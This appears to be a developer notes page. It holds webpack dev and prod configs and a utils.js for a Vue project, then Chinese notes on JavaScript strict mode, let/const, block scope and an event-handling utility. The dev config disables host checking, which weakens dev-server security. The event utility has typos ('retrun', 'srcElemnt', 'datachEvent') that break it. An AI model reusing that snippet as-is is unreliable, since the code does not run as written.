
  // these devServer options should be customized in /config/index.js
  devServer: {
    // https://stackoverflow.com/questions/53906803/webpack-4-hot-reload-invalid-host-origin-header
    disableHostCheck: true,
    clientLogLevel: 'warning',
    historyApiFallback: {
      rewrites: [
        { from: /.*/, to: path.posix.join(config.dev.assetsPublicPath, 'index.html') },
      ],
    },
    hot: true,
    contentBase: false, // since we use CopyWebpackPlugin.
    compress: true,
    host: HOST || config.dev.host,
    port: PORT || config.dev.port,
    open: config.dev.autoOpenBrowser,
    overlay: config.dev.errorOverlay
      ? { warnings: false, errors: true }
      : false,
    publicPath: config.dev.assetsPublicPath,
    proxy: config.dev.proxyTable,
    quiet: true, // necessary for FriendlyErrorsPlugin
    watchOptions: {
      poll: config.dev.poll,
    }
  },
  plugins: [
    new webpack.HotModuleReplacementPlugin(),
    // https://github.com/ampedandwired/html-webpack-plugin
    new HtmlWebpackPlugin({
      filename: 'index.html',
      template: 'index.html',
      inject: true
    }),
    // copy custom static assets
    new CopyWebpackPlugin([
      {
        from: path.resolve(__dirname, '../static'),
        to: config.dev.assetsSubDirectory,
        ignore: ['.*']
      }
    ])
  ]
})

module.exports = new Promise((resolve, reject) => {
  portfinder.basePort = process.env.PORT || config.dev.port
  portfinder.getPort((err, port) => {
    if (err) {
      reject(err)
    } else {
      // publish the new Port, necessary for e2e tests
      process.env.PORT = port
      // add port to devServer config
      devWebpackConfig.devServer.port = port

      // Add FriendlyErrorsPlugin
      devWebpackConfig.plugins.push(new FriendlyErrorsPlugin({
        compilationSuccessInfo: {
          messages: [`Your application is running here: http://${devWebpackConfig.devServer.host}:${port}`],
        },
        onErrors: config.dev.notifyOnErrors
        ? utils.createNotifierCallback()
        : undefined
      }))

      resolve(devWebpackConfig)
    }
  })
})

webpack.prod.conf.js:

'use strict'
const path = require('path')
const utils = require('./utils')
const webpack = require('webpack')
const config = require('../config')
const merge = require('webpack-merge')
const baseWebpackConfig = require('./webpack.base.conf')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const HtmlWebpackPlugin = require('html-webpack-plugin')
const MiniCssExtractPlugin = require('mini-css-extract-plugin')

const webpackConfig = merge(baseWebpackConfig, {
  mode: 'production',
  module: {
    rules: utils.styleLoaders({
      sourceMap: config.build.productionSourceMap,
      extract: true,
      usePostCSS: true
    })
  },
  devtool: config.build.productionSourceMap ? config.build.devtool : false,
  output: {
    path: config.build.assetsRoot,
    filename: utils.assetsPath('js/[name].[chunkhash].js'),
    chunkFilename: utils.assetsPath('js/[name].[chunkhash].js')
  },
  optimization: {
    noEmitOnErrors: true,
    splitChunks: {
      cacheGroups: {
        vendor: {
          test: /[\\/]node_modules[\\/]/,
          name: 'vendor',
          chunks: 'all'
        },
        'async-vendors': {
          test: /[\\/]node_modules[\\/]/,
          minChunks: 2,
          chunks: 'async',
          name: 'async-vendors'
        }
      }
    },
    runtimeChunk: {
      name: 'manifest'
    }
  },
  plugins: [
    new MiniCssExtractPlugin({
      filename: utils.assetsPath('css/[name].[contenthash].css'),
      chunkFilename: utils.assetsPath('css/[name].[contenthash].css')
    }),
    // generate dist index.html with correct asset hash for caching.
    // you can customize output by editing /index.html
    // see https://github.com/ampedandwired/html-webpack-plugin
    new HtmlWebpackPlugin({
      filename: config.build.index,
      template: config.build.template,
      inject: true,
      minify: {
        removeComments: true,
        collapseWhitespace: true,
        removeAttributeQuotes: true
        // more options:
        // https://github.com/kangax/html-minifier#options-quick-reference
      },
      // necessary to consistently work with multiple chunks via CommonsChunkPlugin
      chunksSortMode: 'dependency'
    }),
    // keep module.id stable when vendor modules does not change
    new webpack.HashedModuleIdsPlugin(),
    // copy custom static assets
    new CopyWebpackPlugin([
      {
        from: path.resolve(__dirname, '../static'),
        to: config.build.assetsSubDirectory,
        ignore: ['.*']
      }
    ])
  ]
})

if (config.build.productionGzip) {
  const CompressionWebpackPlugin = require('compression-webpack-plugin')

  webpackConfig.plugins.push(
    new CompressionWebpackPlugin({
      asset: '[path].gz[query]',
      algorithm: 'gzip',
      test: new RegExp(
        '\\.(' +
        config.build.productionGzipExtensions.join('|') +
        ')$'
      ),
      threshold: 10240,
      minRatio: 0.8
    })
  )
}

if (config.build.bundleAnalyzerReport) {
  const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin
  webpackConfig.plugins.push(new BundleAnalyzerPlugin())
}

module.exports = webpackConfig

utils.js:

'use strict'
const path = require('path')
const config = require('../config')
const MiniCssExtractPlugin = require("mini-css-extract-plugin")
const packageConfig = require('../package.json')

exports.assetsPath = function (_path) {
  const assetsSubDirectory = process.env.NODE_ENV === 'production'
    ? config.build.assetsSubDirectory
    : config.dev.assetsSubDirectory

  return path.posix.join(assetsSubDirectory, _path)
}

exports.cssLoaders = function (options) {
  options = options || {}

  const cssLoader = {
    loader: 'css-loader',
    options: {
      sourceMap: options.sourceMap
    }
  }

  const postcssLoader = {
    loader: 'postcss-loader',
    options: {
      sourceMap: options.sourceMap
    }
  }

  // generate loader string to be used with extract text plugin
  function generateLoaders (loader, loaderOptions) {
    const loaders = options.usePostCSS ? [cssLoader, postcssLoader] : [cssLoader]

    if (loader) {
      loaders.push({
        loader: loader + '-loader',
        options: Object.assign({}, loaderOptions, {
          sourceMap: options.sourceMap
        })
      })
    }

    // Extract CSS when that option is specified
    // (which is the case during production build)
    if (options.extract) {
      let extractLoader = {
        loader: MiniCssExtractPlugin.loader
      }
      return [extractLoader].concat(loaders)
    } else {
      return ['vue-style-loader'].concat(loaders)
    }
  }

  // https://vue-loader.vuejs.org/en/configurations/extract-css.html
  return {
    css: generateLoaders(),
    postcss: generateLoaders(),
    less: generateLoaders('less'),
    sass: generateLoaders('sass', { indentedSyntax: true }),
    scss: generateLoaders('sass').concat({
      loader: 'sass-resources-loader',
      options: {
        resources: [
          path.resolve(__dirname, '../src/styles/_mixin.scss'),
          path.resolve(__dirname, '../src/styles/_var.scss')
        ]
      }
    }),
    stylus: generateLoaders('stylus'),
    styl: generateLoaders('stylus')
  }
}

// Generate loaders for standalone style files (outside of .vue)
exports.styleLoaders = function (options) {
  const output = []
  const loaders = exports.cssLoaders(options)

  for (const extension in loaders) {
    const loader = loaders[extension]
    output.push({
      test: new RegExp('\\.' + extension + '$'),
      use: loader
    })
  }

  return output
}

exports.createNotifierCallback = () => {
  const notifier = require('node-notifier')

  return (severity, errors) => {
    if (severity !== 'error') return

    const error = errors[0]
    const filename = error.file && error.file.split('!').pop()

    notifier.notify({
      title: packageConfig.name,
      message: severity + ': ' + error.name,
      subtitle: filename || '',
      icon: path.join(__dirname, 'logo.png')
    })
  }
}

严格模式

严格模式是ECMAScript5种引入的一种将更好的错误检查引入代码中的方法,现在已经被大多浏览器实现,顾名思义,这种模式使得Javascript更严格的条件下运行。

使用严格模式需要注意哪些问题

use strict指令需要写在脚本或者函数的顶部,因为该指令只有在写在顶部才能生效。这就使得我们在使用的时候需要注意下这里有个小坑:

如果只想再一个函数体内使用严格模式,则在该函数体内的最开始处(顶部)加入这条指令。我们可以利用这个特性,将每一个脚本文件里面的代码包裹在一个立即执行的函数表达式内,这样即使两种模式的文件打包在一起,依然能够按照我们的期望进行工作。例如:

;(function() {
  //file1.js
  "use strict"
  function doSth() {
    
  }
})();

;(function() {
	//file2.js
  function doOhterSth() {
    
  }
})();

总结

“严格模式”体现了Javascript更合理、更安全、更严谨的发展方向。为了达到更为普遍的兼容性,我们应该总是在严格模式下编写代码。

let和const

letconst之间,建议优先使用const,尤其是在全局环境,不应该设置变量,只应设置常量。

const优于let的几个原因:

  • const可以提醒阅读程序的人,这个变量不应该改变
  • const比较符合函数式编程**,运算不改变值,只是新建值,而且这样有利于分布式运算
  • Javascript编译器会对const进行优化,所以多使用const,有利于提供程序的运行效率,也就是说letconst本质区别,其实是编译器内部的处理不同
//bad
var a = 1, b = 2, c = 3;

//good
const a = 1;
const b = 2;
const c = 3;

//best
const [a, b, c] = [1, 2, 3]

const声明常量有两个好处:

  • 阅读代码的人立刻会意识到不应该修改这个值
  • 防止了无意间修改变量值所导致的错误
var a = []
for (let i = 0; i < 10; i++) {
  a[i] = function () {
    console.log(i);
  };
}

a[6](); //6

上面的代码中,变量ilet声明的,当前的i只在本轮循环有效,所以每一次循环的i其实都是一个新的变量,所以最后输出的是6。你可能会问,如果每一轮循环的变量i都是重新声明的,那它怎么知道上一轮循环的值,从而计算出本轮循环的值?这是因为 JavaScript 引擎内部会记住上一轮循环的值,初始化本轮的变量i时,就在上一轮循环的基础上进行计算。

另外,for循环有一个特别之处,就是设置循环变量的那部分是一个父作用域,而循环体内部是一个单独的子作用域。

for (let i = 0; i < 3; i++) {
  let i = 'abc';
  console.log(i);
}

//abc
//abc
//abc

上面代码正确运行,输出了3次abc。这表明函数内部的变量i与循环变量i不在同一个作用域,有各自单独的作用域。

不允许重复声明

let不允许在相同的作用域内,重复声明一个变量。

// 报错
function () {
  let a = 10;
  var a = 1;
}

// 报错
function () {
  let a = 10;
  let a = 1;
}

function func (arg) {
  let arg; //报错
}

function func (arg) {
  {
    let arg; //不报错
  }
}

块级作用域的出现,实际上使得获得广泛应用的立即执行函数表达式(IIFE)不再必要了。

// IIEF写法
(function () {
  var tmp = ...;
  ...
})();
  
// 块级作用域写法
{
  let tmp = ...;
  ...
}

块级作用域与函数声明

es5规定,函数只能在顶层作用域和函数作用域之中声明,不能在块级作用域声明。

// 情况一
if (true) {
  function f() {}
}
// 情况二
try {
  function f() {}
} catch (e) {
  // ...
}

上面两种函数声明,根据es5的规定是非法的。到哪是浏览器没有遵循这个规定,为了兼容以前的旧代码,还是支持块级作用域之中声明函数,因此上面两种情况实际都是能运行,不会报错。

es6引入了块级作用域,明确允许在块级作用域之中声明函数。ES6规定,块级作用域之中,函数声明语句的行为类似于let,在块级作用域之外不可引用。

根据环境的差异,避免在块级作用域中使用函数声明。如果确实需要,也应该写成函数表达式,而不是函数声明语句。

注意:es6的块级作用域允许声明函数的规则,只在使用大括号的情况下成立,如果没有使用大括号,就会报错。

// 不报错
'use strict'
if (true) {
  function f () {}
}

// 报错
'use strict'
if (true) 
  function f() {}

do表达式

本质上,块级作用域是一个语句,将多个操作封装在一起,没有返回值。

{
  let t = f();
  t = t * t + 1;
}

上面代码中,块级作用域将两个语句封装在一起。但是,在块级作用域以外,没有办法得到t的值,因为块级作用域不返回值,除非t是全局变量。

现在有一个提案,块级作用域可以变为表达式,也就是说可以返回值,办法就是在块级作用域之前加上do,使它变为do表达式。

let x = do {
  let f = f();
  t*t + 1;
}

上面代码中,变量x会得到整个块级作用域的返回值。

const命令

const foo;
// SyntaxError: Missing initializer in const declaration

上面代码表示,对于const来说,只声明不复制,就会报错。

本质

const实际上保证的,并不是变量的值不得改动,而是变量指向的哪个内存地址不得改动。对于简单类型的数据(数值、字符串、布尔值),值就保存在变量指向的那个内存地址,因此等同于常量。但是对于复合类型的数据(主要是对象和数组),变量指向的内存地址,保存的只是一个指针。const只能保存这个指针是固定的,至于它指向的数据结构是不是可变的,就完全不能控制了。因此,将一个对象声明为常量必须非常小心。

const foo = {};
// 为foo添加一个属性,可以成功
foo.prop = 123;
foo.prop; //123

// f将foo指向另一个对象就会报错
foo = {} // TypeError: 'foo' is read-only

var命令和function命令声明的全局变量,依旧是顶层对象的属性;let命令、const命令、class命令声明的全局变量,不属于顶层对象的属性。从es6开始,全局变量将逐步与顶层对象的属性脱钩。

var a = 1;
// 如果在Node的REPL环境,可以写成global.a
// 或者采用通用方法,写成this.a
window.a // 1

let b = 1;
window.b // undefined

通用的事件侦听函数

//Event工具集,from:github.com/markyunmarkyun.
Event = {
   //页面加载完成后
   readyEvent: function(fn) {
       if (fn == null) {
           fn = document;
       } 
    var oldonload = window.onload; 
    if (typeof window.onload != 'function') {
         window.onload = fn; 
    }else{
         window.onload = function() { 
            oldonload(); 
            fn();
         }; 
    }
  }, 
    //视能力分别使用 demo0 || demo1 || IE 方式来绑定事件 
    //参数:操作的元素,事件名称,事件处理程序 
    addEvent: function(element,type,handler) { 
        if (element.addEventListener) { //事件类型、需要执行的函数、是否捕捉   
             element.addEventListener(type,handler,false); 
        }else if (element.attachEvent) { 
            element.attachEvent('on' + type, function() {
                  handler.call(element);
             }); 
        }else { 
            element['on' + type] = handler; 
        }
     }, 
    //移除事件 
     removeEvent: function(element,type,handler) {
        if (element.removeEventListener) {
             element.removeEventListener(type,handler,false); 
        }else if (element.datachEvent) { 
             element.datachEvent('on' + type,handler); 
        }else{
             element['on' + type] = null;
        }
      },
   //阻止事件(主要是事件冒泡,因为IE不支持事件捕获) 
    stopPropagation: function(ev) { 
        if (ev.stopPropagation) { 
             ev.stopPropagation(); 
        }else { 
             ev.cancelBubble = true;
        }
     }, 
   //取消事件的默认行为
    preventDefault: function(event) {
       if (event.preventDefault) { 
            event.preventDefault(); 
       }else{
            event.returnValue = false; 
       }
    }, 
   //获取事件目标 
   getTarget: function(event) { 
      return event.target || event.srcElemnt; 
   },
   //获取event对象的引用,取到事件的所有信息,确保随时能使用event; 
   getEvent: function(e) { 
      var ev = e || window.event;
      if (!ev) { 
          var c = this.getEvent.caller; 
          while(c) { 
              ev = c.argument[0]; 
              if (ev && Event == ev.constructor) {
                   break; 
              } 
              c = c.caller; 
          } 
      } 
      retrun ev; 
    }
};

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.